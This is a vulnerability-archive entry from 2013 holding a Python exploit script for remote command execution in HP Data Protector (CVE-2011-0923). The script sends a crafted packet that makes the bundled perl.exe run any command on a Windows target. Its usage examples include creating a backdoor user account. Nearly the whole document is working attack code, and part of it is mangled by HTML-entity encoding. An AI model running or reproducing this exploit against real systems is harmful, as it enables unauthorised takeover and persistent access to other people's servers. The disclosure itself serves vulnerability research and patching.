HP Data Protector Arbitrary Remote Command Execution

2013-08-12T00:00:00
ID SECURITYVULNS:DOC:29689
Type securityvulns
Reporter Securityvulns
Modified 2013-08-12T00:00:00

Description

""" HP Data Protector Arbitrary Remote Command Execution

This script allows to execute a command with an arbitrary number of arguments. The trick calls 'perl.exe' interpreter installed with HP Data Protector inside the directory {install_path}/bin/.

The main goal of the script is to bypass the limitation of executing only a single command without any parameter, as provided by already existing exploits. As shown below, it's possible to exploit the security issue in order to run any command inside the target system.

Target OS: Microsoft Windows

Tested Version: HP Data Protector A.06.20

Usage: exploit.py <target> <port> <command>

Example: exploit.py 192.168.1.1 5555 'dir c:\' exploit.py 192.168.1.1 5555 'ipconfig /all' exploit.py 192.168.1.1 5555 'net user userbackdoor pwdbackdoor /ADD'

Authors: Alessandro Di Pinto ( alessandro.dipinto () artificialstudios org ) Claudio Moletta ( mclaudio () gmail com )

Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0923 http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143 """

import socket import struct import sys

def usage(): print >> sys.stderr, "Usage: %s <target> <port> <command>" % sys.argv[0] exit(-1)

def exploit(host, port, command): # Try to connect print >> sys.stderr, "[] Connecting to target '%s:%s'..." % (host, port) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((host, int(port))) except Exception as ex: print >> sys.stderr, "[!] Socket error: \n\t%s" % ex exit(-3) else: print >> sys.stderr, "[] Connected to the target."

# Connected, build the malicious payload
OFFSET = 46
command = command.replace&#40;&quot;&#92;&#92;&quot;, &quot;&#92;&#92;&#92;&#92;&quot;&#41;
command_size = chr&#40;OFFSET + len&#40;command&#41;&#41;
CRAFTED_PKT = &quot;&#92;x00&#92;x00&#92;x00&quot; + &#92;
              command_size   + &#92;
              &quot;&#92;x32&#92;x00&#92;x01&quot; + &#92;
              &quot;&#92;x01&#92;x01&#92;x01&quot; + &#92;
              &quot;&#92;x01&#92;x01&#92;x00&quot; + &#92;
              &quot;&#92;x01&#92;x00&#92;x01&quot; + &#92;
              &quot;&#92;x00&#92;x01&#92;x00&quot; + &#92;
              &quot;&#92;x01&#92;x01&#92;x00&quot; + &#92;
              &quot;&#92;x2028&#92;x00&quot;   + &#92;
              &quot;&#92;&#92;perl.exe&quot;   + &#92;
              &quot;&#92;x00 -esystem&#40;&#39;&#37;s&#39;&#41;&#92;x00&quot; &#37; command

# Send payload to target
print &gt;&gt; sys.stderr, &quot;[*] Sending payload &#39;&#37;s&#39;&quot; &#37; command
sock.sendall&#40;CRAFTED_PKT&#41;

# Parse the response back
print &gt;&gt; sys.stderr, &quot;[*] Output:&quot;
while True:
    # Get information about response
    response_size = sock.recv&#40;4&#41;
    if not response_size: break
    n = struct.unpack&#40;&quot;&gt;I&quot;, response_size&#41;[0]

    # Get command results
    # code  = response[:5]
    # data  = response[5:]
    response = sock.recv&#40;n&#41;

    # Clean and parse results
    response = response[5:].strip&#40;&#41;
    response = response.replace&#40;&quot;&#92;n&quot;, &quot;&quot;&#41;
    response = response.replace&#40;&quot;&#92;x00&quot;, &quot;&quot;&#41;
    # Check for the end-of-message
    if response.upper&#40;&#41;.find&#40;&quot;*RETVAL*&quot;&#41; != -1:
        break
    print response

# Close connection
sock.close&#40;&#41;

if name == "main": # Get command-line argc = len(sys.argv) if argc < 4: usage() host = sys.argv[1] port = sys.argv[2] cmd = sys.argv[3] if port.isdigit(): port = int(port) else: print >> sys.stderr, "[!] Error, invalid port value" exit(-2)

# Send malicious payload
exploit&#40;host, port, cmd&#41;
exit&#40;0&#41;